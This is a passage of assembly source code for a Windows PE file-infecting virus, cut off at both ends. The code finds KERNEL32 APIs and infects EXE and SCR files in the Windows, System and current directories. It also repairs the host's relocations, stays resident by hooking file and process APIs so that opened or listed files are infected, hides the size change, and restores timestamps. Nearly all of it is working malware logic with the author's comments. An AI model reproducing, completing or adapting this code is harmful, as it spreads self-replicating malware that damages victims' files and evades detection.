seh_fn: mov eax,[esp.EH_EstablisherFrame]
|
||
lea esp,[eax - cPushad]
|
||
popad
|
||
xor eax,eax
|
||
lea ebp,[edi + ebp_num - tmp_edi]
|
||
pop dword ptr fs:[eax] ;remove SEH frame
|
||
jmp seh_rs
|
||
|
||
gotK32: mov [ebp + K32Mod - ebp_num],eax ;store KERNEL32 base adress
|
||
cmp dword ptr [ebp + ddGetProcAddress - ebp_num],0
|
||
xchg ebx,eax
|
||
jnz find_APIs ;got RVA pointer to GetProcAdress API?
|
||
lea esi,[ebp + vszGetProcAddress - ebp_num]
|
||
call MyGetProcAddressK32 ;no, get adress of GetProcAdress directly
|
||
jecxz find_APIs
|
||
lea eax,[ebp + ddGetProcAddress2 - ebp_num]
|
||
mov [eax],ecx
|
||
sub eax,[ebp + phost_hdr - ebp_num]
|
||
mov [ebp + ddGetProcAddress - ebp_num],eax
|
||
|
||
find_APIs: ;find file related API adressez from KERNEL32..
|
||
|
||
lea esi,[ebp + FunctionNamez - ebp_num]
|
||
lea edi,[ebp + FunctionAdressez - ebp_num]
|
||
|
||
GetAPIAddress:
|
||
|
||
call MyGetProcAddressK32 ;get API adress
|
||
jecxz quit_app
|
||
cld
|
||
xchg eax,ecx
|
||
stosd ;save retrieved API adress
|
||
@endsz ;point to next API name
|
||
cmp [esi],al ;end of API namez reached?
|
||
jnz GetAPIAddress ;no, get next API adress
|
||
|
||
lea ebx,[ebp + Process_Dir - ebp_num]
|
||
lea edi,[ebp + PathName - ebp_num]
|
||
push 7Fh
|
||
push edi
|
||
call [ebp + ddGetWindowsDirectoryA - ebp_num]
|
||
call ebx ;infect filez in WINDOWS directory
|
||
push 7Fh
|
||
push edi
|
||
call [ebp + ddGetSystemDirectoryA - ebp_num]
|
||
call ebx ;infect filez in SYSTEM directory
|
||
xor eax,eax
|
||
mov byte ptr [edi],'.'
|
||
inc eax
|
||
call ebx ;infect filez in current directory
|
||
|
||
build_host: ;rebuild the host..
|
||
|
||
mov esi,[ebp + pCodeTable - ebp_num] ;get code table of host
|
||
mov ebx,[ebp + phost_hdr - ebp_num] ;get host base adress
|
||
cld
|
||
lodsd
|
||
add eax,0B2FD26A3h ;decrypt original entry point RVA
|
||
add_1st_val = dword ptr $ - 4
|
||
xchg edi,eax
|
||
add edi,ebx
|
||
push edi ;save entry point for l8r retrieval
|
||
|
||
get_count:
|
||
|
||
call [ebp + ddGetCurrentProcess - ebp_num] ;get pseudo-handle for current process
|
||
xchg ecx,eax
|
||
cld
|
||
lodsw ;get number of bytes to copy
|
||
cwde
|
||
xchg ecx,eax
|
||
mov edx,ecx
|
||
push ecx ;push parameterz to WriteProcessMemory API
|
||
push eax
|
||
push esp
|
||
push ecx
|
||
push esi
|
||
push edi
|
||
push eax
|
||
|
||
decrypt_hostcode: ;decrypt the chunk of original host code previosly encrypted..
|
||
|
||
lodsb
|
||
xor al,06Ah
|
||
xor_2nd_val = byte ptr $ - 1
|
||
rol al,cl
|
||
mov [esi-1],al
|
||
loop decrypt_hostcode
|
||
sub ecx,12345678h
|
||
old_base = dword ptr $ - 4
|
||
add ecx,ebx ;has host base adress been relocated?
|
||
jz write_chunk ;no, relocation fix not necesary.. jump
|
||
|
||
;fix code pointed to by one or more nulified relocationz..
|
||
|
||
pushad ;get RVA start of relocation section..
|
||
lea esi,[ebx.MZ_lfanew]
|
||
sub edi,ebx
|
||
add esi,[esi]
|
||
mov ecx,[esi.NT_OptionalHeader \ ;get size of relocation dir.
|
||
.OH_DirectoryEntries \
|
||
.DE_BaseReloc \
|
||
.DD_Size \
|
||
-MZ_lfanew]
|
||
jecxz _popad
|
||
mov esi,[esi.NT_OptionalHeader \ ;get RVA to relocation section
|
||
.OH_DirectoryEntries \
|
||
.DE_BaseReloc \
|
||
.DD_VirtualAddress \
|
||
-MZ_lfanew]
|
||
call redo_reloc ;pass adress of fix_relocs label as a parameter
|
||
|
||
fix_relocs: ;process relocation block and look for nulified relocationz..
|
||
|
||
lodsw ;get relocation item
|
||
cwde
|
||
dec eax
|
||
.if sign?
|
||
jnc f_next_reloc ;if first item, jump to get next relocation item
|
||
.endif
|
||
test ah,mask RD_RelocType shr 8 ;is relocation nulified?
|
||
jnz f_next_reloc ;no, jump to get next relocation item
|
||
lea eax,[eax + ebx + 5]
|
||
cmp edi,eax ;relocation item points inside chunk of code?
|
||
jnc f_next_reloc ;no, jump to get next relocation item
|
||
add eax,-4
|
||
cmp eax,edx
|
||
jnc f_next_reloc ;no, jump to get next relocation item
|
||
|
||
;relocation item is pointing inside chunk of code.. add delta to fix it..
|
||
|
||
pushad
|
||
mov ebx,[esp.(4*Pshd).cPushad.Pushad_ebx] ;get actual host base adress
|
||
mov ebp,[ebx + edi - 4]
|
||
mov ecx,[esp.(3*Pshd).(2*cPushad).Arg3] ;get pointer to chunk of code inside code table
|
||
mov ebx,[ebx + edx]
|
||
xchg ebp,[ecx - 4]
|
||
sub ecx,edi
|
||
mov esi,[esp.(4*Pshd).cPushad.Pushad_ecx] ;get relocation delta to add
|
||
xchg ebx,[edx + ecx]
|
||
add [eax + ecx],esi ;add delta.. (aack! damned relocationz..)
|
||
mov [edx + ecx],ebx
|
||
popad
|
||
clc
|
||
|
||
f_next_reloc:
|
||
|
||
loop fix_relocs ;get next relocation item
|
||
ret
|
||
|
||
redo_reloc:
|
||
|
||
call get_relocs
|
||
_popad: popad
|
||
|
||
write_chunk:
|
||
|
||
call [ebp + ddWriteProcessMemory - ebp_num] ;write chunk of code to the code section
|
||
xchg ecx,eax
|
||
pop edx
|
||
cld
|
||
pop eax
|
||
jecxz n_host ;if error, jump and try to stay resident without jumpin back to host
|
||
xor edx,eax
|
||
lodsw ;get pointer to next chunk of code to patch, if any
|
||
jnz n_host ;if error, jump and try to stay resident without jumpin back to host
|
||
cwde
|
||
xchg ecx,eax
|
||
sub edi,ecx
|
||
jecxz go_resident ;no more chunkz, jump and try to stay resident, then jump back to host
|
||
jmp get_count ;jump and patch the next chunk
|
||
n_host: pop eax ;unwind return adress, an error occured, cant jump to host :(
|
||
|
||
go_resident:
|
||
|
||
lea esi,[ebp + FindData - ebp_num]
|
||
push MAX_PATH
|
||
push esi
|
||
push ecx
|
||
call [ebp + ddGetModuleFileName - ebp_num] ;get host filename
|
||
xchg ecx,eax
|
||
lea ebx,[ebp + jmp_addr_table - ebp_num] ;get pointer to start of jump adress table
|
||
jecxz g_host
|
||
call Open&MapFile ;open host filename and memory-map it
|
||
g_host: jecxz jmp_host ;if error, jump back to host
|
||
push PAGE_EXECUTE_READWRITE
|
||
push MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN
|
||
push (virtual_end2 - code_start + 3) and -4
|
||
push esi ;NULL ;let OS choose memory adress
|
||
call [ebp + ddVirtualAlloc - ebp_num] ;allocate enough memory for virus code and bufferz
|
||
lea ecx,[ebp + FunctionNamez2 - ebp_num] ;get pointer to start of function namez to hook
|
||
mov edi,non_res - code_start
|
||
xchg ecx,eax ;get size of new allocated block
|
||
lea esi,[ecx + PathNamez - code_start]
|
||
jecxz close_jmp_host ;if error on VirtualAlloc, close file and jump to host
|
||
xchg edi,ecx ;get target adress of new allocated block
|
||
mov [ebp + pPathNamez - ebp_num],esi ;initialize pointer to store future pathnamez retrieved by Find(First/Next)File(A/W)
|
||
mov esi,edi
|
||
xchg [ebp + pcode_start - ebp_num],esi ;get source adress of virus code and store new target adress as new source adress
|
||
lea edx,[edi + ecx + jmp_table_size + 1]
|
||
mov [ebp + pNewAPIs - ebp_num],edx ;initialize pointer to store hooked APIs in the new jump table
|
||
cld
|
||
rep movsb ;copy virus code to new allocated block
|
||
mov [esi],cl ;force a null to mark the end of function namez to hook
|
||
pop ecx ;get start of memory-maped file
|
||
inc edi ;get pointer to NewAPItable
|
||
push ecx
|
||
|
||
hook_api: ;hook API functionz, retrieve old API adress and build new API entry into jump table..
|
||
|
||
pushad
|
||
call IGetProcAddressIT ;get RVA pointer of API function inside import table
|
||
test eax,eax
|
||
jz next_api_hook ;if not found, jump and get next API name
|
||
add eax,[ebp + phost_hdr - ebp_num] ;convert RVA to real pointer by addin the actual host base adress
|
||
mov edx,esp
|
||
push eax
|
||
push esp
|
||
xchg esi,eax
|
||
mov al,0B8h ;build "mov eax,?" instruction into jump table
|
||
push 4
|
||
push edx
|
||
stosb
|
||
call [ebp + ddGetCurrentProcess - ebp_num]
|
||
push esi
|
||
push eax
|
||
cld
|
||
movsd ;get and copy old API adress into jump table
|
||
call [ebp + ddWriteProcessMemory - ebp_num] ;set our API hook
|
||
cld
|
||
mov al,0E9h ;build "jmp ?" instruction to jump to new API handler
|
||
pop edx
|
||
pop ecx
|
||
stosb
|
||
movzx eax,word ptr [ebx] ;build relative offset to new API handler
|
||
sub eax,edi
|
||
add eax,[ebp + pcode_start - ebp_num]
|
||
stosd
|
||
push edi
|
||
|
||
next_api_hook:
|
||
|
||
popad
|
||
inc ebx
|
||
xchg esi,eax
|
||
@endsz ;get pointer to next API name
|
||
inc ebx
|
||
cmp [esi],al ;check end of API namez to hook
|
||
xchg eax,esi
|
||
jnz hook_api ;jump and get next API, if there are more APIz to hook
|
||
|
||
close_jmp_host:
|
||
|
||
call Close&UnmapFile ;close and unmap host file
|
||
|
||
jmp_host:
|
||
|
||
cld
|
||
pop eax
|
||
jmp eax ;jmp to host.. or try to quit aplication if an error ocurred while patchin the code section
|
||
|
||
NewGetProcAddr: ;new GetProcAddress API entry point.. hook wanted API functionz from KERNEL32..
|
||
|
||
call APICall@n_2 ;call old GetProcAdress API and retrieve API adress in EAX
|
||
pushad
|
||
mov ecx,[esp.cPushad.Arg1] ;get module handle/base adress
|
||
call get_ebp ;get EBP to reference internal variablez correctly
|
||
xchg ecx,eax
|
||
jecxz end_getproc ;get out if retrieved API adress is zero
|
||
sub eax,[ebp + K32Mod - ebp_num] ;is it KERNEL32 base adress?
|
||
jnz end_getproc ;no, get out
|
||
lea edx,[ebp + jmp_addr_table - 2 - ebp_num] ;yea its KERNEL32, get pointer to start of jump table
|
||
lea edi,[ebp + FunctionNamez2 - 1 - ebp_num] ;get pointer to API function namez to hook
|
||
cld
|
||
|
||
n_gproc_next_str: ;search specified API function name from the list of posible API namez to hook..
|
||
|
||
inc edx
|
||
scasb ;get adress to next API function name
|
||
jnz $ - 1
|
||
mov esi,[esp.cPushad.Arg2] ;get pointer to specified API function name
|
||
inc edx
|
||
scasb
|
||
jz end_getproc ;if end of API namez reached, get out
|
||
dec edi
|
||
|
||
n_gproc_next_chr:
|
||
|
||
cmpsb ;do API namez match?
|
||
jnz n_gproc_next_str ;no, get next API name
|
||
dec edi
|
||
scasb
|
||
jnz n_gproc_next_chr
|
||
|
||
n_gproc_apis_match: ;API namez match, we need to hook the API..
|
||
|
||
lea ebx,[ebp + NewAPItable + nAPIS - 10 - ebp_num] ;get top of jump table
|
||
mov edi,[ebp + pNewAPIs - ebp_num] ;get current pointer to build new API entry
|
||
cmp ebx,edi ;check if jump table is full
|
||
jc end_getproc ;get out if full
|
||
push edi
|
||
sub al,-0B8h ;build "mov eax,?" instruction into jump table
|
||
stosb
|
||
pop eax
|
||
xchg eax,[esp.Pushad_eax] ;retrieve old API adress and swap with the new API adress
|
||
stosd
|
||
mov al,0E9h ;build "jmp ?" instruction to jump to new API handler
|
||
stosb
|
||
movzx eax,word ptr [edx] ;build relative offset to new API handler
|
||
sub eax,edi
|
||
add eax,[ebp + pcode_start - ebp_num]
|
||
stosd
|
||
mov [ebp + pNewAPIs - ebp_num],edi ;update pointer to next API entry in the jump table
|
||
|
||
end_getproc:
|
||
|
||
popad
|
||
ret (2*Pshd) ;return to caller
|
||
|
||
jmp_addr_table: ;adress table.. contains relative offsetz to new API handlerz..
|
||
|
||
dw NewGetProcAddr - code_start - 4
|
||
dw NewGetFileAttrA - code_start - 4
|
||
dw NewGetFileAttrW - code_start - 4
|
||
dw NewMoveFileExA - code_start - 4
|
||
dw NewMoveFileExW - code_start - 4
|
||
dw New_lopen - code_start - 4
|
||
dw NewCopyFileA - code_start - 4
|
||
dw NewCopyFileW - code_start - 4
|
||
dw NewOpenFile - code_start - 4
|
||
dw NewMoveFileA - code_start - 4
|
||
dw NewMoveFileW - code_start - 4
|
||
dw NewCreateProcessA - code_start - 4
|
||
dw NewCreateProcessW - code_start - 4
|
||
dw NewCreateFileA - code_start - 4
|
||
dw NewCreateFileW - code_start - 4
|
||
dw NewFindCloseX - code_start - 4
|
||
dw NewFindFirstFileA - code_start - 4
|
||
dw NewFindFirstFileW - code_start - 4
|
||
dw NewFindNextFileA - code_start - 4
|
||
dw NewFindNextFileW - code_start - 4
|
||
dw NewSetFileAttrA - code_start - 4
|
||
dw NewSetFileAttrW - code_start - 4
|
||
|
||
jmp_table_size = $ - jmp_addr_table
|
||
|
||
NewSetFileAttrW: ;new API handlerz (unicode version)..
|
||
NewCreateFileW:
|
||
NewCreateProcessW:
|
||
NewMoveFileW:
|
||
NewCopyFileW:
|
||
NewMoveFileExW:
|
||
NewGetFileAttrW:
|
||
CommonProcessW:
|
||
|
||
test al,? ;clear carry (unicode version)
|
||
org $ - 1
|
||
|
||
NewSetFileAttrA: ;new API handlerz (ansi version)..
|
||
NewCreateFileA:
|
||
NewCreateProcessA:
|
||
NewMoveFileA:
|
||
NewOpenFile:
|
||
NewCopyFileA:
|
||
New_lopen:
|
||
NewMoveFileExA:
|
||
NewGetFileAttrA:
|
||
CommonProcessA:
|
||
|
||
stc ;set carry (ansi version)
|
||
pushad
|
||
call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz)
|
||
jecxz jmp_old_api
|
||
call findfirst ;get atributez, size of file and check if it exists
|
||
jz jmp_old_api
|
||
dec eax
|
||
push eax ;save search handle
|
||
@copysz ;copy filename to an internal buffer
|
||
call Process_File2 ;try to infect file..
|
||
|
||
NCF_close:
|
||
|
||
call [ebp + ddFindClose - ebp_num] ;close file search
|
||
|
||
jmp_old_api:
|
||
|
||
popad
|
||
jmp eax ;jump to original API adress
|
||
|
||
NewFindFirstFileW: ;new findfirst API handler.. infect files, stealth (unicode version)
|
||
|
||
test al,? ;clear carry (unicode version)
|
||
org $ - 1
|
||
|
||
NewFindFirstFileA: ;new findfirst API handler.. infect files, stealth (ansi version)
|
||
|
||
stc ;set carry (ansi version)
|
||
call APICall@n_2 ;call old findfirst API
|
||
pushad
|
||
inc eax ;if any error, get out
|
||
jz go_ret_2Pshd
|
||
dec eax
|
||
jz go_ret_2Pshd
|
||
call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz)
|
||
jecxz go_ret_2Pshd
|
||
mov edi,[ebp + pPathNamez - ebp_num] ;get pointer to new entry in pathnamez table
|
||
lea ebx,[ebp + PathNamez + nPATHNAMEZ - MAX_PATH - ebp_num] ;get top of pathnamez table
|
||
cmp edi,ebx
|
||
jnc go_ret_2Pshd ;if not enough space to store filename, jump
|
||
mov ebx,edi
|
||
@copysz ;copy filename to pathnamez table
|
||
next2_ff: mov al,[edi - 1] ;get end of path..
|
||
add al,-'\'
|
||
jz eop_ff
|
||
sub al,':' - '\'
|
||
jz eop_ff
|
||
dec edi
|
||
cmp ebx,edi
|
||
jc next2_ff
|
||
xor al,al
|
||
eop_ff: stosb ;force null to split path from filename
|
||
mov [ebp + pPathNamez - ebp_num],edi ;update pointer to next entry in pathnamez table
|
||
call get_handle_ofs_0 ;get new free entry in handlez table
|
||
jc go_ret_2Pshd
|
||
mov eax,[esp.Pushad_eax] ;get handle returned by findfirst
|
||
stosd ;store handle into handlez table
|
||
xchg eax,ebx
|
||
stosd ;store pointer to asociated pathname into handlez table as well
|
||
mov [ebp + pHandlez - ebp_num],edi ;update pointer to next entry in handlez table
|
||
xchg esi,eax
|
||
jmp FindCommon
|
||
|
||
go_ret_2Pshd: popad ;return to caller
|
||
ret (2*Pshd)
|
||
|
||
NewFindNextFileW: ;new findnext API handler.. infect files, stealth (unicode version)
|
||
|
||
test al,? ;clear carry (unicode version)
|
||
org $ - 1
|
||
|
||
NewFindNextFileA: ;new findnextt API handler.. infect files, stealth (ansi version)
|
||
|
||
stc ;set carry (ansi version)
|
||
call APICall@n_2 ;call old findnext API
|
||
pushad
|
||
call get_handle_ofs_ebp ;get correct entry in handlez table acordin to handle
|
||
jc go_ret_2Pshd
|
||
mov esi,[edi + 4] ;get respective pathname
|
||
|
||
FindCommon: lea edi,[ebp + PathName - ebp_num]
|
||
@copysz ;copy pathname to respective buffer
|
||
dec edi
|
||
mov ebx,[esp.cPushad.Arg2] ;get WIN32_FIND_DATA parameter
|
||
or al,[ebp + uni_or_ansi - ebp_num] ;check if its ansi or unicode
|
||
lea esi,[ebx.WFD_szFileName] ;get filename
|
||
jnz its_ansi_fc
|
||
call Uni2Ansi ;its unicode, convert to ansi and atach filename to pathname
|
||
its_ansi_fc: call Process_File3 ;try to infect file
|
||
call get_size ;get file size
|
||
jnz go_ret_2Pshd
|
||
test [ebx.WFD_nFileSizeLow.hiw.hib],11111100b ;filesize > 64MB?
|
||
jnz go_ret_2Pshd ;yea, file too large, jump
|
||
div ecx
|
||
dec edx
|
||
jns go_ret_2Pshd ;if not infected, jump, stealth not necesary
|
||
call check_PE_file ;file is infected, do size stealth
|
||
jmp go_ret_2Pshd
|
||
|
||
NewFindCloseX: mov cl,1
|
||
call APICall@n ;call old findclose API
|
||
pushad
|
||
call get_handle_ofs_ebp ;get correct entry in handlez table acordin to handle
|
||
jc go_ret_Pshd
|
||
lea esi,[edi + 4]
|
||
mov ecx,[ebp + pHandlez - ebp_num]
|
||
lodsd
|
||
sub ecx,esi
|
||
pushad
|
||
xchg esi,eax ;remove pathname entry
|
||
mov ecx,[ebp + pPathNamez - ebp_num]
|
||
mov edi,esi
|
||
@endsz
|
||
sub ecx,esi
|
||
mov [esp.Pushad_ebx],ecx
|
||
rep movsb
|
||
mov [ebp + pPathNamez - ebp_num],edi ;update pointer to handlez table
|
||
popad
|
||
shr ecx,3 ;remove handle entry
|
||
jz setH_fc
|
||
FixpPathNamez: movsd
|
||
lodsd
|
||
sub eax,ebx
|
||
stosd
|
||
loop FixpPathNamez
|
||
setH_fc: mov [ebp + pHandlez - ebp_num],edi ;update pointer to pathnamez table
|
||
go_ret_Pshd: popad
|
||
ret (Pshd)
|
||
|
||
Open&MapFile proc ;open and map file in read only mode
|
||
; on entry:
|
||
; ESI = pszFileName (pointer to file name)
|
||
; on exit:
|
||
; ECX = 0, if error
|
||
; ECX = base adress of memory-maped file, if ok
|
||
|
||
xor edi,edi
|
||
|
||
Open&MapFileAdj: ;open and map file in read/write mode
|
||
; on entry:
|
||
; EDI = file size + work space (in bytes)
|
||
; ESI = pszFileName (pointer to file name)
|
||
; on exit:
|
||
; ECX = 0, if error
|
||
; ECX = base adress of memory-maped file, if ok
|
||
; EDI = old file size
|
||
|
||
xor eax,eax
|
||
push eax ;0
|
||
push eax ;FILE_ATTRIBUTE_NORMAL
|
||
push OPEN_EXISTING
|
||
push eax ;NULL
|
||
mov al,1
|
||
push eax ;FILE_SHARE_READ
|
||
ror eax,1 ;GENERIC_READ
|
||
mov ecx,edi
|
||
jecxz $ + 4
|
||
rcr eax,1 ;GENERIC_READ + GENERIC_WRITE
|
||
push eax
|
||
push esi ;pszFileName
|
||
call [ebp + ddCreateFileA - ebp_num] ;open file
|
||
cdq
|
||
xor esi,esi
|
||
inc eax
|
||
jz end_Open&MapFile ;if error, jump
|
||
dec eax
|
||
push eax ;push first handle
|
||
|
||
push edx ;NULL
|
||
push edi ;file size + buffer size
|
||
push edx ;0
|
||
mov dl,PAGE_READONLY
|
||
mov ecx,edi
|
||
jecxz $ + 4
|
||
shl dl,1 ;PAGE_READWRITE
|
||
push edx
|
||
push esi ;NULL
|
||
push eax ;handle
|
||
call [ebp + ddCreateFileMappingA - ebp_num] ;create file mapping
|
||
cdq
|
||
xchg ecx,eax
|
||
jecxz end_Open&MapFile2 ;if error, close handle and jump
|
||
push ecx ;push second handle
|
||
|
||
push edi ;file size + buffer size
|
||
push edx ;0
|
||
push edx ;0
|
||
mov dl,FILE_MAP_READ
|
||
test edi,edi
|
||
.if !zero?
|
||
shr dl,1 ;FILE_MAP_WRITE
|
||
mov edi,[ebx.WFD_nFileSizeLow]
|
||
.endif
|
||
push edx
|
||
push ecx ;handle
|
||
call [ebp + ddMapViewOfFile - ebp_num] ;map view of file
|
||
xchg ecx,eax
|
||
jecxz end_Open&MapFile3
|
||
push ecx ;push base adress of memory-maped file
|
||
|
||
jmp [esp.(3*Pshd).RetAddr] ;jump to return adress leavin parameterz in the stack
|
||
|
||
Open&MapFile endp
|
||
|
||
Close&UnmapFile proc ;close and unmap file previosly opened in read only mode
|
||
|
||
xor edi,edi
|
||
|
||
Close&UnmapFileAdj: ;close and unmap file previosly opened in read/write mode
|
||
|
||
pop [esp.(4*Pshd).RetAddr - Pshd]
|
||
call [ebp + ddUnmapViewOfFile - ebp_num] ;unmap view of file
|
||
|
||
end_Open&MapFile3:
|
||
|
||
call [ebp + ddCloseHandle - ebp_num] ;close handle
|
||
mov ecx,edi
|
||
jecxz end_Open&MapFile2 ;if read-only mode, jump
|
||
pop eax
|
||
push eax
|
||
push eax
|
||
xor esi,esi
|
||
push esi
|
||
push esi
|
||
push edi
|
||
push eax
|
||
xchg edi,eax
|
||
call [ebp + ddSetFilePointer - ebp_num] ;move file pointer to the real end of file
|
||
call [ebp + ddSetEndOfFile - ebp_num] ;truncate file at real end of file
|
||
lea eax,[ebx.WFD_ftLastWriteTime]
|
||
push eax
|
||
push esi
|
||
push esi
|
||
push edi
|
||
call [ebp + ddSetFileTime - ebp_num] ;restore original date/time stamp field
|
||
|
||
end_Open&MapFile2:
|
||
|
||
call [ebp + ddCloseHandle - ebp_num] ;close handle
|
||
|
||
end_Open&MapFile:
|
||
|
||
xor ecx,ecx
|
||
ret
|
||
|
||
Close&UnmapFile endp
|
||
|
||
get_ebp2_Uni2Ansi: ;this function sets EBP register to reference internal
|
||
; variablez correctly and also converts unicode
|
||
; strings to ansi (for unicode version APIz only).
|
||
;this function is only useful at the resident stage.
|
||
;on entry:
|
||
; TOS+28h (Pshd.cPushad.Arg1): pointer to specified file name
|
||
;on exit:
|
||
; ECX = 0, if error
|
||
|
||
mov esi,[esp.(Pshd).cPushad.Arg1] ;get source pointer to specified file name
|
||
call get_ebp2 ;get actual EBP
|
||
lea edi,[ebp + PathName - ebp_num] ;get target pointer to internal buffer
|
||
jc ansiok
|
||
|
||
Uni2Ansi: ;this function converts an ansi string to a unicode string
|
||
;on entry:
|
||
; ESI = pointer to specified file name
|
||
;on exit:
|
||
; ECX = 0, if error
|
||
|
||
xor eax,eax
|
||
push eax ;NULL
|
||
push eax ;NULL
|
||
push MAX_PATH
|
||
push edi ;target pointer
|
||
push -1
|
||
push esi ;source pointer
|
||
push eax
|
||
push eax ;CP_ACP
|
||
call [ebp + ddWideCharToMultiByte - ebp_num]
|
||
mov esi,edi
|
||
ansiok: xchg ecx,eax
|
||
cld
|
||
ret
|
||
|
||
Rva2Raw proc ;this function converts RVA valuez to RAW pointerz inside PE
|
||
; filez. This function is specialy useful for memory-maped
|
||
; filez.
|
||
;given a RVA value, this function returns the start adress
|
||
; and size of the section containin it, plus its relative
|
||
; delta value inside the section.
|
||
;on entry:
|
||
; EAX = RVA value
|
||
; EBP = start of memory-maped file (MZ header)
|
||
; ESI = start of PE header + 3Ch
|
||
;on exit:
|
||
; EBP = RAW size of section
|
||
; EBX = RAW start of section
|
||
; ECX = 0, if not found
|
||
; start of respective section header (+ section header
|
||
; size), if found
|
||
; EDX = RVA start of section
|
||
; ESI = relative delta of RVA value inside section.
|
||
|
||
movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz
|
||
.FH_NumberOfSections \
|
||
-MZ_lfanew]
|
||
jecxz end_Rva2Raw
|
||
movzx ebx,word ptr [esi.NT_FileHeader \ ;get first section header
|
||
.FH_SizeOfOptionalHeader \
|
||
-MZ_lfanew]
|
||
lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew]
|
||
x = IMAGE_SIZEOF_SECTION_HEADER
|
||
|
||
match_virtual: ;scan each PE section header and determine if specified RVA
|
||
;value points inside
|
||
|
||
mov esi,eax
|
||
mov edx,[ebx.SH_VirtualAddress]
|
||
sub esi,edx
|
||
sub ebx,-x
|
||
cmp esi,[ebx.SH_VirtualSize - x] ;is RVA value pointin inside current section?
|
||
jb section_found ;yea we found the section, jump
|
||
loop match_virtual ;nope, get next section
|
||
|
||
end_Rva2Raw:
|
||
|
||
ret
|
||
|
||
Rva2Raw endp
|
||
|
||
get_handle_ofs_ebp: ;this function sets EBP register to reference internal
|
||
; variablez correctly and also given a handle, it gets
|
||
; a pointer to an entry in the handlez table.
|
||
;this function is only useful at the resident stage.
|
||
;on entry:
|
||
; TOS+28h (Pshd.cPushad.Arg1): specified handle
|
||
;on exit:
|
||
; EDI = pointer to entry in handlez table
|
||
; Carry clear, if ok
|
||
; Carry set, if error
|
||
|
||
xchg ecx,eax
|
||
jecxz end_gho_stc
|
||
call get_ebp2
|
||
mov ecx,[esp.(Pshd).cPushad.Arg1] ;get handle
|
||
jecxz end_gho_stc
|
||
xchg eax,ecx
|
||
cmp ax,?
|
||
org $ - 2
|
||
|
||
get_handle_ofs_0: ;gets a pointer to an empty entry in the handlez table
|
||
;this function is only useful at the resident stage.
|
||
;on exit:
|
||
; EDI = pointer to entry in handlez table
|
||
; Carry clear, if ok
|
||
; Carry set, if error
|
||
|
||
sub eax,eax
|
||
|
||
get_handle_ofs: ;given a handle, this function gets a pointer
|
||
; to an entry in the handlez table.
|
||
;this function is only useful at the resident stage.
|
||
;on entry:
|
||
; EAX = specified handle
|
||
;on exit:
|
||
; EDI = pointer to entry in handlez table
|
||
; Carry clear, if ok
|
||
; Carry set, if error
|
||
|
||
lea edi,[ebp + Handlez - 8 - ebp_num]
|
||
lea edx,[edi + nHANDLEZ]
|
||
next_gho: scasd ;add edi,8
|
||
scasd ;
|
||
cmp edx,edi ;top of handlez table reached?
|
||
jc end_gho ;yea, handle not found, jump
|
||
cmp eax,[edi] ;do handlez match?
|
||
jnz next_gho ;no, check next handle, jump
|
||
test al,? ;yea, handle found, clear carry
|
||
org $ - 1
|
||
end_gho_stc: stc ;set carry
|
||
end_gho: ret
|
||
|
||
section_found:
|
||
|
||
x = IMAGE_SIZEOF_SECTION_HEADER
|
||
xchg ebp,ebx
|
||
add ebx,[ebp.SH_PointerToRawData - x] ;get RAW start of section
|
||
xchg ecx,ebp
|
||
mov ebp,[ecx.SH_SizeOfRawData - x] ;get RAW size of section
|
||
cld
|
||
ret
|
||
|
||
get_relocs: ;this comon funtion is called from both instalation and
|
||
; infection stage.
|
||
;it simply locates each relocation block in the .reloc section
|
||
; and calls a function to (a) nulify those dangerous reloca-
|
||
; tionz in a block (infection stage) or (b) to fix the code
|
||
; pointed to by such marked relocationz (instalation stage).
|
||
;on entry:
|
||
; EDI = RVA start pointer to chunk of code
|
||
; TOS+04h (Arg1): fix_relocs label function adress (instalation stage)
|
||
; or
|
||
; nul_relocs label function adress (infection stage)
|
||
; TOS+00h (return adress)
|
||
|
||
add esi,ebx ;get start of relocation section in aplication context
|
||
add edx,edi ;get end adress of chunk code
|
||
lea ebp,[ecx+esi] ;get end of relocation section in aplication context
|
||
|
||
process_reloc_blocks:
|
||
|
||
lodsd
|
||
xchg ebx,eax ;get start RVA for this block of relocationz
|
||
lea ecx,[ebx + 4096] ;get end RVA where relocationz can point in a block
|
||
lodsd ;get size of reloc block
|
||
x = IMAGE_SIZEOF_BASE_RELOCATION
|
||
add eax,-x
|
||
cmp edi,ecx ;RVA pointer inside relocation block? (check low boundary)
|
||
lea ecx,[eax + esi] ;get next block adress
|
||
push ecx
|
||
jnc next_reloc_block
|
||
shr eax,1
|
||
cmp ebx,edx ;RVA pointer inside relocation block? (check high boundary)
|
||
jnc next_reloc_block
|
||
xchg ecx,eax ;get number of relocationz for this block
|
||
jecxz next_reloc_block
|
||
|
||
call [esp.(Pshd).Arg1] ;call fix_relocs function or nul_relocs function
|
||
|
||
next_reloc_block:
|
||
|
||
pop esi ;get next block adress
|
||
lea eax,[esi + x]
|
||
cmp eax,ebp ;end of relocation blockz?
|
||
jc process_reloc_blocks ;no, process the block, jump
|
||
ret (Pshd) ;yea, no more relocation blockz, return
|
||
|
||
Process_File3: ;this function copies a filename to an internal buffer
|
||
; and checks the extension thru a list of infectable
|
||
; extensions (EXE and SCR filez for the moment). If
|
||
; the extension matches, the file will be infected.
|
||
@copysz
|
||
mov edx,not 0FF202020h ;upercase mask
|
||
mov ecx,[edi-4] ;get filename extension
|
||
lea esi,[ebp + Exts - ebp_num] ;get pointer to list of extensionz
|
||
and ecx,edx ;convert file extension to upercase
|
||
|
||
next_ext:
|
||
|
||
lodsd ;get extension from list
|
||
dec al ;no more extensionz?
|
||
js end_PF3
|
||
and eax,edx ;convert extension to upercase
|
||
dec esi
|
||
xor eax,ecx ;do extensionz match?
|
||
jnz next_ext
|
||
cmp byte ptr [edi-5],'.'
|
||
jnz end_PF3 ;no, get next extension
|
||
call Process_File2 ;yes, extensionz match, infect file
|
||
|
||
end_PF3: ret
|
||
|
||
err_Rva2Raw:
|
||
|
||
popad ;needed to unwind the stack from some function
|
||
|
||
err_Rva2Raw2:
|
||
|
||
popad ;needed to unwind the stack from some function
|
||
ret
|
||
|
||
Attach proc ;attach virus code to last section in the PE file and
|
||
; change section characteristicz to reflect infection.
|
||
;on entry:
|
||
; ECX = base of memory-maped file
|
||
; EDI = original file size
|
||
;on exit:
|
||
; EDI = new file size
|
||
|
||
